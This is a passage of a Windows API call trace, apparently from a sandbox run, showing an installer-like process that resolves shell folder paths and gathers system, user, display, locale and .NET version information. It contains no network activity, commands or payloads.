GetLastError () returned 0xcb [0123.611] SetLastError (dwErrCode=0xcb) [0123.611] lstrlenW (lpString="#%") returned 2 [0123.611] lstrlenW (lpString="\\") returned 1 [0123.611] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\") returned 44 [0123.611] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\") returned 44 [0123.611] lstrlenW (lpString="StartMenuFolder") returned 15 [0123.611] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\") returned 44 [0123.611] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\") returned 44 [0123.611] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.611] SHGetFolderPathW (in: hwnd=0x0, csidl=16409, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 0x0 [0123.617] lstrlenW (lpString="C:\\Users\\Public\\Desktop") returned 23 [0123.617] GetLastError () returned 0xcb [0123.617] SetLastError (dwErrCode=0xcb) [0123.617] lstrlenW (lpString="#%") returned 2 [0123.617] lstrlenW (lpString="\\") returned 1 [0123.617] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\") returned 24 [0123.617] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\") returned 24 [0123.617] lstrlenW (lpString="DesktopFolder") returned 13 [0123.617] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\") returned 24 [0123.617] lstrlenW (lpString="C:\\Users\\Public\\Desktop\\") returned 24 [0123.617] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.618] SHGetFolderPathW (in: hwnd=0x0, csidl=16432, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned 0x0 [0123.627] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned 93 [0123.628] GetLastError () returned 0xcb [0123.628] SetLastError (dwErrCode=0xcb) [0123.628] lstrlenW (lpString="#%") returned 2 [0123.628] lstrlenW (lpString="\\") returned 1 [0123.628] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned 94 [0123.628] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\") returned 94 [0123.628] GlobalUnlock (hMem=0xf400b8) returned 0 [0123.628] GlobalReAlloc (hMem=0xf400b8, dwBytes=0x140, uFlags=0x2) returned 0xf400b8 [0123.628] GlobalLock (hMem=0xf400b8) returned 0x3bc3c0 [0123.628] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.628] SHGetFolderPathW (in: hwnd=0x0, csidl=16391, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x0 [0123.633] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 80 [0123.633] GetLastError () returned 0xcb [0123.633] SetLastError (dwErrCode=0xcb) [0123.633] lstrlenW (lpString="#%") returned 2 [0123.633] lstrlenW (lpString="\\") returned 1 [0123.633] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\") returned 81 [0123.633] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\") returned 81 [0123.633] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.633] SHGetFolderPathW (in: hwnd=0x0, csidl=16386, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs") returned 0x0 [0123.638] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs") returned 72 [0123.638] GetLastError () returned 0xcb [0123.638] SetLastError (dwErrCode=0xcb) [0123.638] lstrlenW (lpString="#%") returned 2 [0123.638] lstrlenW (lpString="\\") returned 1 [0123.638] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\") returned 73 [0123.638] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\") returned 73 [0123.638] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.638] SHGetFolderPathW (in: hwnd=0x0, csidl=16395, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x0 [0123.645] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 63 [0123.645] GetLastError () returned 0xcb [0123.645] SetLastError (dwErrCode=0xcb) [0123.645] lstrlenW (lpString="#%") returned 2 [0123.645] lstrlenW (lpString="\\") returned 1 [0123.645] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\") returned 64 [0123.645] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\") returned 64 [0123.645] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.645] SHGetFolderPathW (in: hwnd=0x0, csidl=16400, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\Users\\kEecfMwgj\\Desktop") returned 0x0 [0123.650] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop") returned 26 [0123.650] GetLastError () returned 0xcb [0123.650] SetLastError (dwErrCode=0xcb) [0123.650] lstrlenW (lpString="#%") returned 2 [0123.650] lstrlenW (lpString="\\") returned 1 [0123.650] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0123.650] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Desktop\\") returned 27 [0123.650] GlobalUnlock (hMem=0xf400b8) returned 0 [0123.650] GlobalReAlloc (hMem=0xf400b8, dwBytes=0x190, uFlags=0x2) returned 0xf400b8 [0123.650] GlobalLock (hMem=0xf400b8) returned 0x3bc3c0 [0123.651] memcpy (in: _Dst=0x3bc440, _Src=0x3bc430, _Size=0xd0 | out: _Dst=0x3bc440) returned 0x3bc440 [0123.651] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.651] SHGetFolderPathW (in: hwnd=0x0, csidl=32813, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce2c0 | out: pszPath="C:\\ProgramData\\Microsoft\\Windows\\Templates") returned 0x0 [0123.657] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Templates") returned 42 [0123.657] GetLastError () returned 0xb7 [0123.657] SetLastError (dwErrCode=0xb7) [0123.658] lstrlenW (lpString="#%") returned 2 [0123.658] lstrlenW (lpString="\\") returned 1 [0123.658] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Templates\\") returned 43 [0123.658] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows\\Templates\\") returned 43 [0123.658] lstrlenW (lpString="TemplateFolder") returned 14 [0123.658] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.658] SHGetFolderPathW (in: hwnd=0x0, csidl=32788, hToken=0x16c, dwFlags=0x0, pszPath=0x10ce030 | out: pszPath="C:\\Windows\\Fonts") returned 0x0 [0123.660] lstrlenW (lpString="C:\\Windows\\Fonts") returned 16 [0123.660] GetLastError () returned 0xb7 [0123.660] SetLastError (dwErrCode=0xb7) [0123.660] lstrlenW (lpString="#%") returned 2 [0123.660] lstrlenW (lpString="\\") returned 1 [0123.660] lstrlenW (lpString="C:\\Windows\\Fonts\\") returned 17 [0123.660] lstrlenW (lpString="C:\\Windows\\Fonts\\") returned 17 [0123.660] lstrlenW (lpString="FontsFolder") returned 11 [0123.660] lstrlenW (lpString="GPTSupport") returned 10 [0123.660] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1") returned 1 [0123.660] lstrlenW (lpString="1") returned 1 [0123.660] lstrlenW (lpString="OLEAdvtSupport") returned 14 [0123.660] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1") returned 1 [0123.660] lstrlenW (lpString="1") returned 1 [0123.661] GetProcAddress (hModule=0x7fefd6f0000, lpProcName="DllGetVersion") returned 0x7fefdaee094 [0123.661] DllGetVersion () returned 0x0 [0123.661] lstrlenW (lpString="ShellAdvtSupport") returned 16 [0123.661] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1") returned 1 [0123.661] lstrlenW (lpString="1") returned 1 [0123.661] GetProcAddress (hModule=0x76b00000, lpProcName="GetNativeSystemInfo") returned 0x76b0ac80 [0123.661] GetNativeSystemInfo (in: lpSystemInfo=0x10ce4e0 | out: lpSystemInfo=0x10ce4e0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0123.661] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0123.661] lstrlenW (lpString="NTDLL") returned 5 [0123.662] GetSystemDirectoryW (in: lpBuffer=0x10ce220, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0123.662] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\NTDLL.DLL") returned 0x76d20000 [0123.662] GetProcAddress (hModule=0x76d20000, lpProcName="NtQuerySystemInformation") returned 0x76d71670 [0123.662] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.662] NtQuerySystemInformation (in: SystemInformationClass=0x3f, SystemInformation=0x10ce4d0, Length=0xc, ResultLength=0x0 | out: SystemInformation=0x10ce4d0, ResultLength=0x0) returned 0x0 [0123.662] lstrlenW (lpString="MsiAMD64") returned 8 [0123.662] _vsnwprintf (in: _Buffer=0x10ce468, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce458 | out: _Buffer="6") returned 1 [0123.662] lstrlenW (lpString="6") returned 1 [0123.662] lstrlenW (lpString="Msix64") returned 6 [0123.662] _vsnwprintf (in: _Buffer=0x10ce468, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce458 | out: _Buffer="6") returned 1 [0123.662] lstrlenW (lpString="6") returned 1 [0123.662] lstrlenW (lpString="Intel") returned 5 [0123.662] _vsnwprintf (in: _Buffer=0x10ce468, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce458 | out: _Buffer="6") returned 1 [0123.662] lstrlenW (lpString="6") returned 1 [0123.663] GetProcAddress (hModule=0x76b00000, lpProcName="GlobalMemoryStatusEx") returned 0x76b07f90 [0123.663] GlobalMemoryStatusEx (in: lpBuffer=0x10ce670 | out: lpBuffer=0x10ce670) returned 1 [0123.663] lstrlenW (lpString="PhysicalMemory") returned 14 [0123.663] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="4096") returned 4 [0123.663] lstrlenW (lpString="4096") returned 4 [0123.663] lstrlenW (lpString="VirtualMemory") returned 13 [0123.663] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="3460") returned 4 [0123.663] lstrlenW (lpString="3460") returned 4 [0123.663] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.663] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10ce508, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10ce4f8 | out: pSid=0x10ce4f8*=0x3bb930*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0123.663] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x3bb930*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x10ce4f0 | out: IsMember=0x10ce4f0) returned 1 [0123.663] lstrlenW (lpString="AdminUser") returned 9 [0123.663] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1") returned 1 [0123.663] lstrlenW (lpString="1") returned 1 [0123.663] lstrlenW (lpString="MsiTrueAdminUser") returned 16 [0123.663] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1") returned 1 [0123.663] lstrlenW (lpString="1") returned 1 [0123.663] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0123.663] GetUserNameW (in: lpBuffer=0x3c9da0, pcbBuffer=0x10ce5e0 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x10ce5e0) returned 1 [0123.665] lstrlenW (lpString="kEecfMwgj") returned 9 [0123.665] lstrlenW (lpString="LogonUser") returned 9 [0123.665] memcpy (in: _Dst=0x3622bc, _Src=0x3622b0, _Size=0x2d0 | out: _Dst=0x3622bc) returned 0x3622bc [0123.665] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce300, TokenInformationLength=0x58, ReturnLength=0x10ce2f0 | out: TokenInformation=0x10ce300, ReturnLength=0x10ce2f0) returned 1 [0123.665] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce3e0, pSourceSid=0x10ce310*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce3e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0123.665] ConvertSidToStringSidW (in: Sid=0x10ce3e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce3c0 | out: StringSid=0x10ce3c0*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0123.665] LocalFree (hMem=0x3d63a0) returned 0x0 [0123.665] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 46 [0123.665] lstrlenW (lpString="UserSID") returned 7 [0123.666] lstrlenW (lpString="UserLanguageID") returned 14 [0123.666] GetUserDefaultLangID () returned 0x409 [0123.666] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1033") returned 4 [0123.666] lstrlenW (lpString="1033") returned 4 [0123.666] GetLastError () returned 0x0 [0123.666] SetLastError (dwErrCode=0x0) [0123.666] GetComputerNameW (in: lpBuffer=0x3c9da0, nSize=0x10ce5e0 | out: lpBuffer="Q9IATRKPRH", nSize=0x10ce5e0) returned 1 [0123.666] lstrlenW (lpString="Q9IATRKPRH") returned 10 [0123.666] lstrlenW (lpString="ComputerName") returned 12 [0123.667] lstrlenW (lpString="SystemLanguageID") returned 16 [0123.667] GetSystemDefaultLangID () returned 0x2f0409 [0123.667] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1033") returned 4 [0123.667] lstrlenW (lpString="1033") returned 4 [0123.667] lstrlenW (lpString="ScreenX") returned 7 [0123.667] GetSystemMetrics (nIndex=0) returned 1024 [0123.667] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1024") returned 4 [0123.667] lstrlenW (lpString="1024") returned 4 [0123.667] GlobalUnlock (hMem=0xf40038) returned 0 [0123.667] GlobalReAlloc (hMem=0xf40038, dwBytes=0x5dc, uFlags=0x2) returned 0xf40038 [0123.667] GlobalLock (hMem=0xf40038) returned 0x36ec20 [0123.667] lstrlenW (lpString="ScreenY") returned 7 [0123.667] GetSystemMetrics (nIndex=1) returned 768 [0123.667] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="768") returned 3 [0123.667] lstrlenW (lpString="768") returned 3 [0123.667] lstrlenW (lpString="CaptionHeight") returned 13 [0123.667] GetSystemMetrics (nIndex=4) returned 22 [0123.667] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="22") returned 2 [0123.667] lstrlenW (lpString="22") returned 2 [0123.667] lstrlenW (lpString="BorderTop") returned 9 [0123.667] GetSystemMetrics (nIndex=5) returned 1 [0123.667] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1") returned 1 [0123.667] lstrlenW (lpString="1") returned 1 [0123.667] lstrlenW (lpString="BorderSide") returned 10 [0123.667] GetSystemMetrics (nIndex=6) returned 1 [0123.668] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1") returned 1 [0123.668] lstrlenW (lpString="1") returned 1 [0123.668] GetSystemMetrics (nIndex=86) returned 0 [0123.668] GetDC (hWnd=0x0) returned 0x5010090 [0123.669] GetDeviceCaps (hdc=0x5010090, index=90) returned 96 [0123.669] MulDiv (nNumber=10, nNumerator=96, nDenominator=72) returned 13 [0123.669] CreateFontIndirectW (lplf=0x10ce6e0) returned 0x50a020f [0123.669] SelectObject (hdc=0x5010090, h=0x50a020f) returned 0x18a002e [0123.669] GetTextFaceW (in: hdc=0x5010090, c=32, lpName=0x10ce920 | out: lpName="MS Sans Serif") returned 14 [0123.670] GetTextMetricsW (in: hdc=0x5010090, lptm=0x10ce628 | out: lptm=0x10ce628) returned 1 [0123.672] lstrlenW (lpString="MS Sans Serif") returned 13 [0123.672] lstrlenW (lpString="MS Sans Serif") returned 13 [0123.672] SelectObject (hdc=0x5010090, h=0x18a002e) returned 0x50a020f [0123.672] DeleteObject (ho=0x50a020f) returned 1 [0123.672] lstrlenW (lpString="TextHeight") returned 10 [0123.672] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="16") returned 2 [0123.672] lstrlenW (lpString="16") returned 2 [0123.672] GlobalUnlock (hMem=0xf40008) returned 0 [0123.672] GlobalReAlloc (hMem=0xf40008, dwBytes=0x2bc0, uFlags=0x2) returned 0xf40008 [0123.672] GlobalLock (hMem=0xf40008) returned 0x3e90090 [0123.672] memcpy (in: _Dst=0x3e92390, _Src=0x3e91b90, _Size=0x6c0 | out: _Dst=0x3e92390) returned 0x3e92390 [0123.673] lstrlenW (lpString="TextInternalLeading") returned 19 [0123.673] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="3") returned 1 [0123.673] lstrlenW (lpString="3") returned 1 [0123.673] lstrlenW (lpString="ColorBits") returned 9 [0123.673] GetDeviceCaps (hdc=0x5010090, index=12) returned 32 [0123.673] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="32") returned 2 [0123.673] lstrlenW (lpString="32") returned 2 [0123.673] ReleaseDC (hWnd=0x0, hDC=0x5010090) returned 1 [0123.673] lstrlenW (lpString="TTCSupport") returned 10 [0123.673] _vsnwprintf (in: _Buffer=0x10ce4e8, _BufferCount=0xb, _Format="%i", _ArgList=0x10ce4d8 | out: _Buffer="1") returned 1 [0123.673] lstrlenW (lpString="1") returned 1 [0123.673] lstrlenW (lpString="Time") returned 4 [0123.673] GetLocalTime (in: lpSystemTime=0x10ce480 | out: lpSystemTime=0x10ce480*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x11c)) [0123.673] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce480, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0123.674] GetLocalTime (in: lpSystemTime=0x10ce3c0 | out: lpSystemTime=0x10ce3c0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x11c)) [0123.674] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce3c0, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0123.674] GetLocalTime (in: lpSystemTime=0x10ce3f0 | out: lpSystemTime=0x10ce3f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x11c)) [0123.674] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce3f0, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:45") returned 9 [0123.674] memcpy (in: _Dst=0x36ed64, _Src=0x36ed58, _Size=0x360 | out: _Dst=0x36ed64) returned 0x36ed64 [0123.674] lstrlenW (lpString="Date") returned 4 [0123.674] GetLocalTime (in: lpSystemTime=0x10ce480 | out: lpSystemTime=0x10ce480*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x11c)) [0123.674] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10ce480, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0123.674] GetLocalTime (in: lpSystemTime=0x10ce3c0 | out: lpSystemTime=0x10ce3c0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x11c)) [0123.674] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10ce3c0, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0123.674] GetLocalTime (in: lpSystemTime=0x10ce3f0 | out: lpSystemTime=0x10ce3f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2d, wMilliseconds=0x11c)) [0123.675] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10ce3f0, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0123.675] memcpy (in: _Dst=0x36ed64, _Src=0x36ed58, _Size=0x36c | out: _Dst=0x36ed64) returned 0x36ed64 [0123.683] SetErrorMode (uMode=0x1) returned 0x1 [0123.683] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\fusion.dll"), fInfoLevelId=0x0, lpFileInformation=0x10cd970 | out: lpFileInformation=0x10cd970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6fa2500, ftCreationTime.dwHighDateTime=0x1d4e502, ftLastAccessTime.dwLowDateTime=0xb9dde450, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xd6fa2500, ftLastWriteTime.dwHighDateTime=0x1d4e502, nFileSizeHigh=0x0, nFileSizeLow=0x1a900)) returned 1 [0123.683] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll", lpdwHandle=0x10cda48 | out: lpdwHandle=0x10cda48) returned 0x794 [0123.698] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll", dwHandle=0x0, dwLen=0x794, lpData=0x10cdca0 | out: lpData=0x10cdca0) returned 1 [0123.699] VerQueryValueW (in: pBlock=0x10cdca0, lpSubBlock="\\", lplpBuffer=0x10cda60, puLen=0x10cda58 | out: lplpBuffer=0x10cda60*=0x10cdcc8, puLen=0x10cda58) returned 1 [0123.699] LoadLibraryExW (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\fusion.dll", hFile=0x0, dwFlags=0x2) returned 0xc10001 [0123.702] EnumResourceNamesW (hModule=0xc10001, lpType=0x10, lpEnumFunc=0x7fef79eacac, lParam=0x10cd9c8) returned 1 [0123.703] EnumResourceLanguagesW (hModule=0xc10001, lpType=0x10, lpName=0x1, lpEnumFunc=0x7fef79eacd0, lParam=0x10cd9c8) returned 1 [0123.703] FindResourceExW (hModule=0xc10001, lpType=0x10, lpName=0x1, wLanguage=0x409) returned 0xc25e48 [0123.703] LoadResource (hModule=0xc10001, hResInfo=0xc25e48) returned 0xc25e60 [0123.703] LockResource (hResData=0xc25e60) returned 0xc25e60 [0123.703] SizeofResource (hModule=0xc10001, hResInfo=0xc25e48) returned 0x3c8 [0123.703] VerQueryValueW (in: pBlock=0x36f220, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x10cd408, puLen=0x10cd400 | out: lplpBuffer=0x10cd408*=0x36f5e4, puLen=0x10cd400) returned 1 [0123.703] FreeLibrary (hLibModule=0xc10001) returned 1 [0123.704] SetErrorMode (uMode=0x1) returned 0x1 [0123.704] _vsnwprintf (in: _Buffer=0x10ce560, _BufferCount=0x19, _Format="%d.%d.%d.%d", _ArgList=0x10ce508 | out: _Buffer="4.8.3761.0") returned 10 [0123.704] lstrlenW (lpString="4.8.3761.0") returned 10 [0123.704] memcpy (in: _Dst=0x3c9da0, _Src=0x10ce560, _Size=0x14 | out: _Dst=0x3c9da0) returned 0x3c9da0 [0123.704] lstrlenW (lpString="4.8.3761.0") returned 10 [0123.704] lstrlenW (lpString="MsiNetAssemblySupport") returned 21 [0123.705] lstrlenW (lpString="sxs") returned 3 [0123.705] GetSystemDirectoryW (in: lpBuffer=0x210ca50, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0123.705] SetErrorMode (uMode=0x1) returned 0x1 [0123.705] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\sxs.DLL" (normalized: "c:\\windows\\system32\\sxs.dll"), fInfoLevelId=0x0, lpFileInformation=0x10cd970 | out: lpFileInformation=0x10cd970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eac27f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8eac27f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8eae8954, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8e400)) returned 1 [0123.705] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\sxs.DLL", lpdwHandle=0x10cda48 | out: lpdwHandle=0x10cda48) returned 0x6ec [0123.705] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\sxs.DLL", dwHandle=0x0, dwLen=0x6ec, lpData=0x10cdca0 | out: lpData=0x10cdca0) returned 1 [0123.706] VerQueryValueW (in: pBlock=0x10cdca0, lpSubBlock="\\", lplpBuffer=0x10cda60, puLen=0x10cda58 | out: lplpBuffer=0x10cda60*=0x10cdcc8, puLen=0x10cda58) returned 1 [0123.706] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\sxs.DLL", hFile=0x0, dwFlags=0x2) returned 0x7fefcb70000 [0123.706] EnumResourceNamesW (hModule=0x7fefcb70000, lpType=0x10, lpEnumFunc=0x7fef79eacac, lParam=0x10cd9c8) returned 1 [0123.706] EnumResourceLanguagesW (hModule=0x7fefcb70000, lpType=0x10, lpName=0x1, lpEnumFunc=0x7fef79eacd0, lParam=0x10cd9c8) returned 